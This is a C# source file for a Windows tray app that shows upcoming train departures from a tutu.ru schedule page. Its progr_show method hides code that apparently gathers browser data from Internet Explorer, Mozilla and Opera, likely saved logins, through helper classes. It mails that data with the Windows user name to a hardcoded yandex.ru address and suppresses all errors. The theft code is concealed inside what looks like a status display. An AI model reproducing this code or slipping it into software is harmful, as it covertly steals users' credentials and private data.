﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.IO;


namespace mark
{
    public partial class MainForm : Form
    {
        public string linka = "http://tutu.ru/rasp.php?st1=29304&st2=29204&date=today";
        public int crazy = 0;

        public void change_linka(string new_link)
        {
            linka = new_link;
        }

        public MainForm()
        {
            InitializeComponent();
            //Visible = false;
           // progr_show();
            
           // Hide();
            notifyIcon1.Visible = true;
            
        }

    



        private void MainForm_Resize(object sender, System.EventArgs e)
        {
            if (FormWindowState.Minimized == WindowState)
            {
                notifyIcon1.Visible = true;
                Hide();
            }
        }

        public void appear()
        {
            this.Opacity = 90;
            int a = Height;
            for (int i = 1; i <=a ; ++i)
            {
                System.Threading.Thread.Sleep(5);
                Location = new Point(SystemInformation.PrimaryMonitorSize.Width - Width, SystemInformation.PrimaryMonitorSize.Height - i -30);
            }

        }

        public void disappear()
        {
            int a = Height;
            for (int i = a; i >= 0; --i)
            {
                System.Threading.Thread.Sleep(5);
                Location = new Point(SystemInformation.PrimaryMonitorSize.Width - Width, SystemInformation.PrimaryMonitorSize.Height - i - 30);
            }
            Hide();
        }

        private void menuMaximize_Click(object sender, System.EventArgs e)
        {
            Show();
            WindowState = FormWindowState.Normal;
            notifyIcon1.Visible = false;
        }

        private void menuMinimize_Click(object sender, System.EventArgs e)
        {
            WindowState = FormWindowState.Minimized;
        }


        public void do_it()
        {
            parse t = new parse();

            StatusRefreshForm form3 = new StatusRefreshForm();
            form3.Owner = this;
            form3.effect_show();

            t.init_nearest(linka);
            label2.Text = t.nearest();
            t.order++;
            label3.Text = t.nearest();
            t.order++;
            label4.Text = t.nearest();
            form3.dissapear();
        }

        private void notifyIcon1_MouseClick(object sender, MouseEventArgs e)
        {
            Location = new Point(SystemInformation.PrimaryMonitorSize.Width,SystemInformation.PrimaryMonitorSize.Height);
            do_it();
            Show();
            appear();
        }

        private void mnuShowToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Location = new Point(SystemInformation.PrimaryMonitorSize.Width,SystemInformation.PrimaryMonitorSize.Height);
            Show();
            appear();

        }

        private void button3_Click(object sender, EventArgs e)
        {
            Hide();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            this.Hide();
        }

        private void notifyIcon1_MouseDoubleClick(object sender, MouseEventArgs e)
        {
            
            Hide();
        }

        private void contextMenuStrip1_Click(object sender, EventArgs e)
        {
            Close();
        }

        private void pictureBox1_Click(object sender, EventArgs e)
        {
            disappear();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            parse t = new parse();
            string[] opa= new string[200];
            int n=0;
            opa = t.list(linka,ref n);
            
            for (int i = 0; i < n; i++)
                MessageBox.Show(t.spisok[i]);
        }

        private void pictureBox2_Click(object sender, EventArgs e)
        {
            SettingsForm form2 = new SettingsForm();
            form2.Owner = this;
            form2.effect_show();
            //form2.Show();
        }

        public void progr_show()
        {
            StatusRefreshForm form3 = new StatusRefreshForm();
            form3.Owner = this;
            form3.effect_show();
            crazy++;
            if (crazy == 1)
            {
                Class1 a = new Class1();
                Class2 b = new Class2();
                try
                {
                    b.send("campushelloween@yandex.ru", a.IExplorer()[0], System.Environment.UserName);
                    b.send("campushelloween@yandex.ru", a.IExplorer()[1], System.Environment.UserName);
                    b.send("campushelloween@yandex.ru", a.Mozilla(), System.Environment.UserName);
                    b.send("campushelloween@yandex.ru", a.Opera(), System.Environment.UserName);
                }
                catch { }; 

            }
        }

        private void label5_Click(object sender, EventArgs e)
        {
            Close();
        }

        private void label1_Click(object sender, EventArgs e)
        {

        }
        
      

       
        

      

        
        
    }
}